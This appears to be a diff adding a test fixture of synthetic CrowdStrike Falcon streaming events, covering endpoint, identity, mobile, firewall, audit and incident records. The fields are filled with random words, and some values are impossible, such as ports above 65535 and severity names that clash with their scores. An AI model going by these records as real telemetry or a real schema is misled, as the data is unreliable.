+{"metadata": {"customerIDString": "couplehorror","offset": 154599492,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "thatstring","UserIp": "94.231.69.154","OperationName": "requestResetPassword","ServiceName": "detections","AuditKeyValues": [{"Key": "whatambulance","ValueString": "everybodyaunt"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "nichetroop"}}}
+{"metadata": {"customerIDString": "whatmustering","offset": -783097223,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "Laotianoutfit","DetectName": "Thatcheriteemployment","DetectDescription": "host point life dog dynasty horror cast bill archipelago sorrow flock product determination set stack turkey hospital mob shower pronunciation murder anythingloneliness","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/wholepride?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 46,"SeverityName": "High","Tactic": "Gaussiansmoke","Technique": "obedientbunch","Objective": "outstandingwarmth","SourceAccountDomain": "Russianconfusion","SourceAccountName": "notroop","SourceAccountObjectSid": "therebatch","SourceEndpointAccountObjectGuid": "Danishtalent","SourceEndpointAccountObjectSid": "badbox","SourceEndpointHostName": "lots ofline","SourceEndpointIpAddress": "111.87.106.222","SourceEndpointSensorId": "thistroop","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "whichtroop","PatternId": 1871629415}}
+{"metadata": {"customerIDString": "theirchoir","offset": 1707609541,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "mybatch","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\ourproduct","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "IoT","Description": "wisp care care covey heap train flock room youth accommodation wildlife bridge troop bird pronunciation bale fact rhythm whatheap","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Jungiangloves?_cid=xxxxxxx","FileName": "ourmob","FilePath": "blushinggrandmother\\ourmob","FilesAccessed": [{"FileName": "ourmob","FilePath": "blushinggrandmother\\ourmob","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "ourmob","FilePath": "blushinggrandmother\\ourmob","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\itsmurder","GrandParentImageFileName": "oursolitude","GrandParentImageFilePath": "theirpotato\\oursolitude","HostGroups": "hislife","Hostname": "whosekindness","LocalIP": "77.122.212.136","LocalIPv6": "101.94.203.39","LogonDomain": "thatchoir","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "significantthing","Name": "so fewbunch","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -290255403,"ConnectionDirection": 0,"IsIPV6": false,"LocalAddress": "128.130.162.113","LocalPort": 87664,"Protocol": "severallibrary","RemoteAddress": "10.119.10.40","RemotePort": 28306}],"Objective": "everybodyhail","ParentCommandLine": "C:\\Windows\\manyplace\\howtroupe","ParentImageFileName": "howtroupe","ParentImageFilePath": "fewposse\\howtroupe","ParentProcessId": -1183764153,"PatternDispositionDescription": "mob thing mob fun gas station team socks troupe ream posse tribe clump scold line brace fact elegance cackle cluster album thererange","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": false,"ContainmentFileSystem": true,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"InddetMask": true,"Indicator": true,"KillActionFailed": false,"KillParent": false,"KillProcess": true,"KillSubProcess": true,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": false,"QuarantineFile": true,"QuarantineMachine": true,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": true},"PatternDispositionValue": 1417374195,"PatternId": 990773909,"PlatformId": "thisability","PlatformName": "Windows","ProcessEndTime": 1078347455,"ProcessId": 1807685076,"ProcessStartTime": 324949076,"ReferrerUrl": "severalsalt","SHA1String": "whatpack","SHA256String": "Turkishishmusic","Severity": 5,"SeverityName": "Informational","SourceProducts": "hisgang","SourceVendors": "whicheye","Tactic": "itschool","Technique": "thatoutfit","Type": "ldt","UserName": "thatbaby"}}
+{"metadata": {"customerIDString": "eachhail","offset": 910054756,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "whychest","MobileDetectionId": -1066361567,"ComputerName": "therepollution","UserName": "lots ofchild","ContextTimeStamp": 1649061056,"DetectId": "plenty ofstack","DetectName": "everythingpain","DetectDescription": "hair troop advantage pod cloud regiment whichcase","Tactic": "doublesoup","TacticId": "thankfulgovernment","Technique": "noneexaltation","TechniqueId": "everythinggovernor","Objective": "Intelligenttime","Severity": 36,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/lemonycountry?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "victorioussolitude","AndroidAppLabel": "manydesk","DexFileHashes": "whoselife","ImageFileName": "Plutoniangoodness","AppInstallerInformation": "howday","IsBeingDebugged": true,"AndroidAppVersionName": "eithercase","IsContainerized": true}]}}
+{"metadata": {"customerIDString": "nobodyheart","offset": -1480801993,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -664707217,"ProcessEndTime": 1356490391,"ProcessId": -439951165,"ParentProcessId": 463703834,"ComputerName": "whatcomb","UserName": "fewchoir","DetectName": "allsedge","DetectDescription": "muster brace flock line chest Sudanesesedge","Severity": 2,"SeverityName": "Low","FileName": "whypod","FilePath": "theseplace\\whypod","CommandLine": "C:\\Windows\\neithersparrow","SHA256String": "howspeed","MD5String": "herstraw","SHA1String": "emptypack","MachineDomain": "greatpainter","NetworkAccesses": [{"AccessType": 1649138494,"AccessTimestamp": 1751371565,"Protocol": "someonepatrol","LocalAddress": "153.130.99.166","LocalPort": 85526,"RemoteAddress": "195.189.167.229","RemotePort": 55938,"ConnectionDirection": 0,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/magnificentstand?_cid=xxxxxxx","SensorId": "Turkishdetermination","IOCType": "behavior","IOCValue": "toughway","DetectId": "howcaptain","LocalIP": "253.92.155.205","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "hundredtravel","Technique": "someonechapter","Objective": "nonebevy","PatternDispositionDescription": "irritation art time life choir crowd eye hand handsomewarmth","PatternDispositionValue": -354807263,"PatternDispositionFlags": {"Indicator": false,"Detect": false,"InddetMask": true,"SensorOnly": true,"Rooting": true,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": false,"PolicyDisabled": false,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": true,"SuspendParent": true},"ParentImageFileName": "myliterature","ParentCommandLine": "hisbeauty","GrandparentImageFileName": "condemnedrain","GrandparentCommandLine": "fewcovey","HostGroups": "hergroup","AssociatedFile": "sufficientcompany","PatternId": -2136295940}}
+{"metadata": {"customerIDString": "thesenecklace","offset": 499490277,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "eachson","DetectName": "over thereanswer","DetectDescription": "toy child determination deceit imagination leap part problem unemployment itanger","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/anythingteam?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 29,"SeverityName": "Low","Tactic": "everyoneidea","Technique": "itpark","Objective": "thisstaff","SourceAccountDomain": "impossiblebunch","SourceAccountName": "thatgroup","SourceAccountObjectSid": "hisbevy","SourceEndpointAccountObjectGuid": "eagerdream","SourceEndpointAccountObjectSid": "Britishdream","SourceEndpointHostName": "Romanheap","SourceEndpointIpAddress": "43.168.13.71","SourceEndpointSensorId": "heregalaxy","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "a littleanimal","PatternId": -989308898}}
+{"metadata": {"customerIDString": "herbowl","offset": 2014670838,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "whylove","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\wherearmy","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Email","Description": "person week dynasty crew stand forest scold wisp patience clothing anthology book child rainbow body thereposse","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Cambodianriches?_cid=xxxxxxx","FileName": "somecaptain","FilePath": "fewmob\\somecaptain","FilesAccessed": [{"FileName": "somecaptain","FilePath": "fewmob\\somecaptain","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "somecaptain","FilePath": "fewmob\\somecaptain","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\therenest","GrandParentImageFileName": "whichjustice","GrandParentImageFilePath": "Swisssister\\whichjustice","HostGroups": "Intelligentkoala","Hostname": "allhatred","LocalIP": "154.204.32.239","LocalIPv6": "53.135.178.55","LogonDomain": "hereseafood","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "halfgoodness","Name": "thesehelp","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 2076137131,"ConnectionDirection": 1,"IsIPV6": false,"LocalAddress": "28.212.21.213","LocalPort": 25122,"Protocol": "thesemurder","RemoteAddress": "199.51.196.161","RemotePort": 4758}],"Objective": "Somalicovey","ParentCommandLine": "C:\\Windows\\obnoxiousline\\insufficientdisregard","ParentImageFileName": "insufficientdisregard","ParentImageFilePath": "famousman\\insufficientdisregard","ParentProcessId": -1602500269,"PatternDispositionDescription": "year exaltation army pain theater wad nature pair leisure gang tribe leisure church pen crew host packet comb stress crowd regiment air Thatcheritetomatoes","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": false,"Indicator": false,"KillActionFailed": false,"KillParent": false,"KillProcess": true,"KillSubProcess": true,"OperationBlocked": true,"PolicyDisabled": true,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": true,"RegistryOperationBlocked": false,"Rooting": true,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": true},"PatternDispositionValue": -1207066680,"PatternId": -21302995,"PlatformId": "anythingchair","PlatformName": "Mac","ProcessEndTime": 677326050,"ProcessId": 1009504147,"ProcessStartTime": -861205713,"ReferrerUrl": "herecomfort","SHA1String": "hilariousparty","SHA256String": "outstandingbody","Severity": 22,"SeverityName": "Critical","SourceProducts": "nobodyaccommodation","SourceVendors": "herhospital","Tactic": "myinformation","Technique": "mykindness","Type": "ldt","UserName": "Californiantroop"}}
+{"metadata": {"customerIDString": "nonegroup","offset": -1235253501,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "a little bitway","UserIp": "43.136.128.121","OperationName": "confirmResetPassword","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "ittribe","ValueString": "somehorde"}],"Attributes": {"actor_cid": "itpoint","actor_user": "hiscollection","actor_user_uuid": "howdishonesty","app_id": "itreel","saml_assertion": "nichetrip","target_user": "tastyheap","trace_id": "wholeweight"}}}
+{"metadata": {"customerIDString": "greatfiction","offset": -169473232,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "everybodyjoy","HostnameField": "hugehotel","UserName": "mostadult","StartTimestamp": 1582830734,"AgentIdString": "therepatrol"}}
+{"metadata": {"customerIDString": "itfleet","offset": 1446616657,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "mygalaxy","Region": "us-west-1","ResourceId": "attractiveluck","ResourceIdType": "howzebra","ResourceName": "myline","ResourceCreateTime": 0,"PolicyStatement": "whybale","PolicyId": -240473013,"Severity": 85,"SeverityName": "High","CloudPlatform": "whatcovey","CloudService": "filthyroom (space)","Disposition": "Passed","ResourceUrl": "whypod","Finding": "hisstack","Tags": [{"Key": "wheretroop","ValueString": "handsomethrill"}],"ReportUrl": "itchycompany","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "thoseunion","offset": -442409568,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "defianttrend","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\Beethovenianair","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "IoT","Description": "task team education week kindness host oil candle cravat school pair cluster unemployment bunch cackle anger corner exaltation tea itjoy","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/wideharvest?_cid=xxxxxxx","FileName": "itsold age","FilePath": "thereshock\\itsold age","FilesAccessed": [{"FileName": "itsold age","FilePath": "thereshock\\itsold age","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "itsold age","FilePath": "thereshock\\itsold age","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\whichfact","GrandParentImageFileName": "outrageousboard","GrandParentImageFilePath": "somebodybelief\\outrageousboard","HostGroups": "anyonecomfort","Hostname": "whatleap","LocalIP": "106.87.193.55","LocalIPv6": "135.202.91.150","LogonDomain": "anyonestack","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "Bahamianart","Name": "charmingpoverty","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -579867327,"ConnectionDirection": 0,"IsIPV6": true,"LocalAddress": "118.47.108.223","LocalPort": 42729,"Protocol": "herecloud","RemoteAddress": "192.115.25.70","RemotePort": 80597}],"Objective": "a little bitwork","ParentCommandLine": "C:\\Windows\\anyonepatrol\\thankfulgovernor","ParentImageFileName": "thankfulgovernor","ParentImageFilePath": "onenumber\\thankfulgovernor","ParentProcessId": 274159899,"PatternDispositionDescription": "boat pack monkey chair scale board person pod baby nature battery eye costume xylophone kilometer comb field group fruit bale government lightgroup","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"InddetMask": true,"Indicator": true,"KillActionFailed": true,"KillParent": false,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": true,"PolicyDisabled": true,"ProcessBlocked": true,"QuarantineFile": true,"QuarantineMachine": true,"RegistryOperationBlocked": false,"Rooting": false,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": true},"PatternDispositionValue": -266493756,"PatternId": -1496995766,"PlatformId": "whosewalk","PlatformName": "Windows","ProcessEndTime": 949063399,"ProcessId": 462479544,"ProcessStartTime": 1027612118,"ReferrerUrl": "Sudanesefrailty","SHA1String": "Americanwisdom","SHA256String": "theresalt","Severity": 92,"SeverityName": "Low","SourceProducts": "severalmustering","SourceVendors": "thisschool","Tactic": "everybodycrew","Technique": "whattroop","Type": "ofp","UserName": "Cambodianblock"}}
+{"metadata": {"customerIDString": "yourbunch","offset": -1445144308,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "theremob","CustomerId": "jealouscity","Ipv": "189.25.15.207","CommandLine": "Salvadoreangovernment","ConnectionDirection": "2","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": false,"Log": true,"Monitor": false},"HostName": "whatgroup","ICMPCode": "Mayanunderstanding","ICMPType": "glamorousbody","ImageFileName": "inquiringbale","LocalAddress": "126.227.89.91","LocalPort": "13770","MatchCount": -674428234,"MatchCountSinceLastReport": 926315771,"NetworkProfile": "Confucianawareness","PID": "526892878","PolicyName": "itschoir","PolicyID": "lots ofisland","Protocol": "thereegg","RemoteAddress": "162.85.15.1","RemotePort": "18866","RuleAction": "Africanability","RuleDescription": "bank cup crew bunch news deceit stream myfinger","RuleFamilyID": "Diabolicalfailure","RuleGroupName": "outstandingcollection","RuleName": "everyonegang","RuleId": "littlegroup","Status": "adventurouspen","Timestamp": 1751371830,"TreeID": "shychoir"}}
+{"metadata": {"customerIDString": "Ecuadoriansand","offset": -63618596,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "doubleocean","State": "open","FineScore": 3.6197896386230197,"LateralMovement": 1,"IncidentType": 1,"IncidentID": "severalbush","HostID": "everythingsoup","LMHostIDs": ["myplate"],"UserId": "itfoot"}}
+{"metadata": {"customerIDString": "manycompany","offset": 587068461,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "howfrog","DetectName": "whoseday","DetectDescription": "brother shopping soup class gown forest infancy butter place set way cat hospitality research group cave plan anthology wildlife growth hand company reel greatcase","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/myweek?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 96,"SeverityName": "Medium","Tactic": "a little bitmuster","Technique": "goodbale","Objective": "herwarmth","SourceAccountDomain": "thishedge","SourceAccountName": "somelife","SourceAccountObjectSid": "Welshsuccess","SourceEndpointAccountObjectGuid": "hundredslife","SourceEndpointAccountObjectSid": "itregiment","SourceEndpointHostName": "whatparty","SourceEndpointIpAddress": "52.174.142.116","SourceEndpointSensorId": "greatfreedom","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "whyband","PatternId": -384760931}}
+{"metadata": {"customerIDString": "wanderingwisp","offset": 1714490954,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "whichtribe","DataDomains": "IoT","Description": "air dishonesty giraffe battery tribe company sandwich hisdisregard","DetectId": "yourfoot","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "44.4.68.26","HostNames": "theirbelt","Name": "Cormoranbaby","PatternId": 547399691,"Severity": 93,"SourceProducts": "howteam","SourceVendors": "Antarcticenvy","StartTimeEpoch": 1643317697728000000,"TacticIds": "mushycase","Tactics": "sparsehost","TechniqueIds": "Salvadoreanpart","Techniques": "whosehealth","XdrType": "xdr-scheduled-search" } }}
+{"metadata": {"customerIDString": "Thatcheritecrew","offset": 1085973968,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "wanderingviolence","CustomerId": "thoseenvy","Ipv": "69.44.183.72","CommandLine": "happywisp","ConnectionDirection": "0","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": false,"Log": false,"Monitor": false},"HostName": "terribletrip","ICMPCode": "vastkilometer","ICMPType": "sleepyquiver","ImageFileName": "somebodygeneration","LocalAddress": "236.54.178.96","LocalPort": "70344","MatchCount": -587424769,"MatchCountSinceLastReport": -657920173,"NetworkProfile": "onegrowth","PID": "1898217853","PolicyName": "relievedidea","PolicyID": "eitherfrailty","Protocol": "whytroop","RemoteAddress": "164.218.254.92","RemotePort": "27780","RuleAction": "a littlehorde","RuleDescription": "group life horror problem toothpaste motherhood theirreel","RuleFamilyID": "yourbale","RuleGroupName": "ashamedcatalog","RuleName": "manyleap","RuleId": "howisland","Status": "thereline","Timestamp": 1751371830,"TreeID": "significantgun"}}
+{"metadata": {"customerIDString": "over theredeceit","offset": -1122233875,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "whichmurder","UserIp": "5.239.236.14","OperationName": "requestResetPassword","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "Taiwaneseloneliness","ValueString": "wherereligion"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "thisfinger"}}}
+{"metadata": {"customerIDString": "a lotcleverness","offset": -2048442,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Intelligentpatrol","Region": "us-east-1","ResourceId": "Burmeseexaltation","ResourceIdType": "nobodycity","ResourceName": "allelegance","ResourceCreateTime": 0,"PolicyStatement": "fewboard","PolicyId": -512706245,"Severity": 43,"SeverityName": "High","CloudPlatform": "obedientchest","CloudService": "mything","Disposition": "Passed","ResourceUrl": "itswork","Finding": "Uzbekart","Tags": [{"Key": "obnoxiousparty","ValueString": "greendress"}],"ReportUrl": "whosetrip","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "mybread","offset": -1325604589,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "onewit","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\whathill","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Email","Description": "skyscraper dog magic riches team ring man outfit cloud comfort driver razor confusion party howstand","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/so fewgroup?_cid=xxxxxxx","FileName": "anyonecompany","FilePath": "sparsesister\\anyonecompany","FilesAccessed": [{"FileName": "anyonecompany","FilePath": "sparsesister\\anyonecompany","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "anyonecompany","FilePath": "sparsesister\\anyonecompany","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\whatgalaxy","GrandParentImageFileName": "whatharvest","GrandParentImageFilePath": "over therecaravan\\whatharvest","HostGroups": "mychaise longue","Hostname": "therelife","LocalIP": "45.92.61.58","LocalIPv6": "172.181.169.171","LogonDomain": "purplearmy","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "howart","Name": "whichtime","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -1143479247,"ConnectionDirection": 2,"IsIPV6": false,"LocalAddress": "173.85.118.189","LocalPort": 67424,"Protocol": "whyspeed","RemoteAddress": "164.12.64.92","RemotePort": 51877}],"Objective": "somebodydoor","ParentCommandLine": "C:\\Windows\\Taiwanesecovey\\someonejob","ParentImageFileName": "someonejob","ParentImageFilePath": "nobodygenerosity\\someonejob","ParentProcessId": -2129072122,"PatternDispositionDescription": "cap clump band hatred regiment government numerouskilometer","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"InddetMask": false,"Indicator": true,"KillActionFailed": true,"KillParent": false,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": true,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": false},"PatternDispositionValue": -88302655,"PatternId": 1951890639,"PlatformId": "somebodyhand","PlatformName": "Linux","ProcessEndTime": 1642637292,"ProcessId": -1893228872,"ProcessStartTime": -383749688,"ReferrerUrl": "everythingpoverty","SHA1String": "adventurousgoal","SHA256String": "awfulream","Severity": 73,"SeverityName": "Critical","SourceProducts": "ourtribe","SourceVendors": "theseteam","Tactic": "whatlie","Technique": "anythinghail","Type": "ofp","UserName": "whyharm"}}
+{"metadata": {"customerIDString": "somebuilding","offset": -640891942,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "Sudanesestand","MobileDetectionId": -1943071553,"ComputerName": "singlecast","UserName": "yourschool","ContextTimeStamp": 1649061056,"DetectId": "ourwildlife","DetectName": "wherethought","DetectDescription": "frailparty","Tactic": "mygoal","TacticId": "wherefact","Technique": "herpumpkin","TechniqueId": "itsman","Objective": "ourdesktop","Severity": 30,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/eachsafety?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "longteacher","AndroidAppLabel": "thoseclass","DexFileHashes": "Atlantichappiness","ImageFileName": "somebodything","AppInstallerInformation": "theirgang","IsBeingDebugged": false,"AndroidAppVersionName": "itsteam","IsContainerized": false}]}}
+{"metadata": {"customerIDString": "Cypriotbread","offset": -1789071430,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "ourjudge","PolicyId": -1418080276,"PolicyStatement": "itspunctuation","CloudProvider": "plenty ofscold","CloudService": "eachworld","Severity": 96,"SeverityName": "Informational","EventAction": "whoseriches","EventSource": "neitherstack","EventCreatedTimestamp": 1663011160,"UserId": "myriches","UserName": "herhorror","UserSourceIp": "51.74.60.182","Tactic": "over therefailure","Technique": "Chineseusage"}}
+{"metadata": {"customerIDString": "thistask","offset": 2049273134,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "nuttygame","DataDomains": "Endpoint","Description": "happiness fruit cloud love murder party gun lack cookware assistance group adult board range chest nap kitchen eageroutfit","DetectId": "Plutoniantalent","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "150.143.106.85","HostNames": "greatstupidity","Name": "Japanesepoverty","PatternId": -1543856490,"Severity": 20,"SourceProducts": "noneproblem","SourceVendors": "itrhythm","StartTimeEpoch": 1643317697728000000,"TacticIds": "uninterestedprogress","Tactics": "whichteam","TechniqueIds": "enough ofhand","Techniques": "hundredsprogram","XdrType": "xdr-scheduled-search" } }}
+{"metadata": {"customerIDString": "Sri-Lankansister","offset": 94661833,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "uninterestedclump","State": "open","FineScore": 1.1544780716192304,"LateralMovement": 1,"IncidentType": 1,"IncidentID": "elatedplane","HostID": "theirrelaxation","LMHostIDs": ["hundrednest"],"UserId": "whypencil"}}
+{"metadata": {"customerIDString": "whosesheaf","offset": 213989202,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "Viennesewolf","State": "open","FineScore": 6.011567877739499,"LateralMovement": 1,"IncidentType": 2,"IncidentID": "Machiavellianharvest","HostID": "allveterinarian","LMHostIDs": ["Cambodianhand"],"UserId": "healthypack"}}
+{"metadata": {"customerIDString": "thereclump","offset": -1822867553,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "tendercleverness","HostnameField": "thathandle","UserName": "thesestand","StartTimestamp": 1582830734,"AgentIdString": "hisbale"}}
+{"metadata": {"customerIDString": "ourboard","offset": 2116235252,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "thatbody","UserIp": "214.111.169.238","OperationName": "revokeCustomerSubscriptions","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "giftedengine","ValueString": "ourhedge"}],"Attributes": {"actor_cid": "wherekindness","actor_user": "whosecrowd","actor_user_uuid": "thoselife","app_id": "someonemotivation","saml_assertion": "thattroupe","target_user": "fewbucket","trace_id": "herenap"}}}
+{"metadata": {"customerIDString": "whyline","offset": -2034480940,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "Dutchpart","CustomerId": "howsafety","Ipv": "50.148.47.27","CommandLine": "yourturtle","ConnectionDirection": "1","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": true,"Log": false,"Monitor": true},"HostName": "insufficientclump","ICMPCode": "itcorruption","ICMPType": "halfcackle","ImageFileName": "everythingharvest","LocalAddress": "141.153.83.70","LocalPort": "2082","MatchCount": -5800360,"MatchCountSinceLastReport": -43465211,"NetworkProfile": "mytroop","PID": "-1531454840","PolicyName": "disgustingregiment","PolicyID": "repulsiveproblem","Protocol": "emptyson","RemoteAddress": "15.239.102.156","RemotePort": "43616","RuleAction": "itgoal","RuleDescription": "mob company film wherepoint","RuleFamilyID": "Japanesedetective","RuleGroupName": "herejustice","RuleName": "manycompany","RuleId": "onebook","Status": "fewsleep","Timestamp": 1751371830,"TreeID": "itsbody"}}
+{"metadata": {"customerIDString": "stormyweek","offset": 1178256658,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "onescooter","State": "closed","FineScore": 6.661966415825172,"LateralMovement": 0,"IncidentType": 2,"IncidentID": "hereleggings","HostID": "whereteam","LMHostIDs": ["Diabolicalbasket"],"UserId": "whosehat"}}
